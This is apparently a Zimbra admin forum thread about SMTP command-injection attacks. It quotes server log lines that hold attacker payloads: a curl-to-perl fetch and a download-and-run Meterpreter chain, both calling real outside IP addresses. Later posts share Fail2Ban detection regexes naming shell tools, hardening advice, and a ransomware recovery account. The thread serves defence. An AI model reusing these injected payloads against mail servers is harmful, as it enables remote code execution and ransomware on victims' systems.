Attack? CLI commands injection during SMTP connection

[Copyright]

This one was succesfully executed on version 10.1.20

Service $(curl -sS 147.182.224.216/zed|perl) started on mail.mydomain.com
Aug 26 15:06:48 mail postfix/submission/smtpd[2674595]: NOQUEUE: reject: RCPT from unknown[192.101.68.88]: 554 5.7.1 <unknown[192.101.68.88]>: Client host rejected: Access denied; from=<test@example.invalid> to=<"x: Service status change: localhost $(curl -sS 147.182.224.216/zed|perl) changed from stopped to running"@cve.invalid> proto=ESMTP helo=<mx-test.invalid>

And this one is putting an Meterpreter file in /tmp

Service $(cd /tmp ; curl -O http://85.121.177.134/8827.elf ; chmod 777 8827.elf ; ./8827.elf &) started on mail.mydomain.com
Aug 27 11:37:50 mail postfix/smtps/smtpd[1011953]: NOQUEUE: filter: RCPT from unknown[185.242.3.87]: <test@example.invalid>: Sender address triggers FILTER smtp-amavis:[127.0.0.1]:10024; from=<test@example.invalid> to=<"x: Service status change: localhost $(cd /tmp ; curl -O http://85.121.177.134/8827.elf ; chmod 777 8827.elf ; ./8827.elf &) changed from stopped to running"@cve.invalid> proto=ESMTP helo=<mx-test.invalid>

[dbayer]

Thank you Mark for posting your Fail2Ban rules! I followed your updated blog post.

I appreciate your contributions to the community, they've helped me with numerous issues over the years.

Kind Regards from a fellow Mainer,
Daniel

FWIW, we always turn VERIFY off if only to prevent valid email address harvesting:

Code: Select all

postconf -e disable_vrfy_command=yes
postfix reload

Having said that, we added a Fail2Ban filter for the attacks Kordian reported:

Code: Select all

[root@mail2 filter.d]# cat zimbra-uri.conf
# Zimbra nginx ACCESS log: exploit-attempt URIs.
#
# NOTE: Zimbra logs "remote_addr:remote_port" as field 1, so <HOST> must be
# followed by an optional :port -- same gotcha as the mail-proxy error log.
# NOTE: the request line contains an ABSOLUTE URL (https://host/path), not
# just the path; the leading [^"]* in each pattern absorbs scheme+host.
[Definition]

failregex = ^<HOST>(?::\d+)? .* "(?:GET|POST|PUT) [^"]*/service/extension/backup/mboximport\b[^"]*" \d{3}
            ^<HOST>(?::\d+)? .* "(?:GET|POST) [^"]*/service/extension/clientUploader/upload\b[^"]*" \d{3}
            ^<HOST>(?::\d+)? .* "(?:GET|POST) [^"]*[Aa]uto[Dd]iscover(?:\.xml)?[^"]*" 400
            ^<HOST>(?::\d+)? .* "(?:GET|POST) [^"]*(?:\.\.(?:/|%%2f|%%2F|%%252f)){2,}[^"]*" \d{3}
            ^<HOST>(?::\d+)? .* "(?:GET|POST) [^"]*/\.(?:git|env|svn)\b[^"]*" \d{3}
            ^<HOST>(?::\d+)? .* "(?:GET|POST) [^"]*(?:\.\./|%%2e%%2e/|%%2e%%2e%%2f)[^"]*" \d{3}
ignoreregex =

datepattern = %%d/%%b/%%Y:%%H:%%M:%%S %%z
[root@mail2 filter.d]# 

[ric91]

There are some new variants over the time so I want to share our fail2ban-Filter updated:

Code: Select all

[Definition]
failregex = warning: Illegal address syntax from unknown\[<HOST>\].*(?:VRFY|MAIL).*(?:cat|wget|curl|bash|sh|python|perl|exec|system|chmod|nslookup|dig|ping|\$\(|\$\{IFS\}|localconfig|Service status change)
            NOQUEUE: reject:.*from unknown\[<HOST>\].*(?:Sender address rejected|Client host rejected).*(?:echo|wget|curl|bash|sh|perl|python|exec|system|chmod|nslookup|dig|ping|>>|;|\$\(|\.elf|whoami|id)
            NOQUEUE: reject:.*from \S+\[<HOST>\].*(?:Sender address rejected|Client host rejected).*(?:echo|wget|curl|bash|sh|perl|python|exec|system|chmod|nslookup|dig|ping|>>|;|\$\(|\.elf|whoami|id)
            NOQUEUE: reject:.*from unknown\[<HOST>\].*Service status change.*changed from.*(?:running|stopped)
            NOQUEUE: reject:.*from \S+\[<HOST>\].*Service status change.*changed from.*(?:running|stopped)

ignoreregex =

If you haven't done yet: update to 10.1.20.

This filter reacts at the SMTP-commands infiltrated into the submission, in addition to the HTTP-commands catched by Marks filter above. So they should block the attack at the first stage. But the time fail2ban will need to block the IP-address is longer than the HTTP-request needs. Anyway, better safe than sorry.

Regards

[ghen]

Be careful for overly greedy regular expressions; e.g. "sh" and "id" may match unexpected other things (as substrings), including legit e-mail addresses or hostnames, and you may end up blocking legit hosts for any single error. At least add some "\b" word-boundary markers around the whole bracketed expression, but then still.

Sloppy regex'es are what caused this exploit in the first place...

[realsparticle]

All I wanted to share a bit of an update on our ransmeware locked server.

We recently fell foul of the cmd injection attack that succeeded in encrypting one of our zimbra servers.

We have recovered from backups and built a new 10.1.20 server with enhanced security. The locked server is subject to forensic investigation and is isolated.

We believe we have implemented a genuinely strong layered defence:

Local Fail2Ban protection across all exposed Zimbra services.
Immediate perimeter propagation to the perimeter FW.
Permanent treatment for command injection, burst attacks and repeat offenders.
AbuseIPDB reporting and perimeter blocklist protection.
Persistent reconciliation after restarts.
Daily Zimbra and Ubuntu security monitoring with email alerts.

We are using these custom jails:
2026-09-10 21:45:14,676 fail2ban.jail [3630524]: INFO Jail 'recidive' started
2026-09-10 21:45:14,680 fail2ban.jail [3630524]: INFO Jail 'zimbra-smtp' started
2026-09-10 21:45:14,682 fail2ban.jail [3630524]: INFO Jail 'zimbra-nonsmtp' started
2026-09-10 21:45:14,684 fail2ban.jail [3630524]: INFO Jail 'zimbra-cmdinject' started
2026-09-10 21:45:14,686 fail2ban.jail [3630524]: INFO Jail 'zimbra-nginx' started
2026-09-10 21:45:14,687 fail2ban.jail [3630524]: INFO Jail 'zimbra-nginx-authfail' started
2026-09-10 21:45:14,688 fail2ban.jail [3630524]: INFO Jail 'zimbra-imap-auth' started
2026-09-10 21:45:14,689 fail2ban.jail [3630524]: INFO Jail 'zimbra-uri' started
2026-09-10 21:45:14,690 fail2ban.jail [3630524]: INFO Jail 'zimbra-web-auth' started
2026-09-10 21:45:14,692 fail2ban.jail [3630524]: INFO Jail 'zimbra-uri-burst' started

Happy to share more details if it is helpful

Cheers
Spart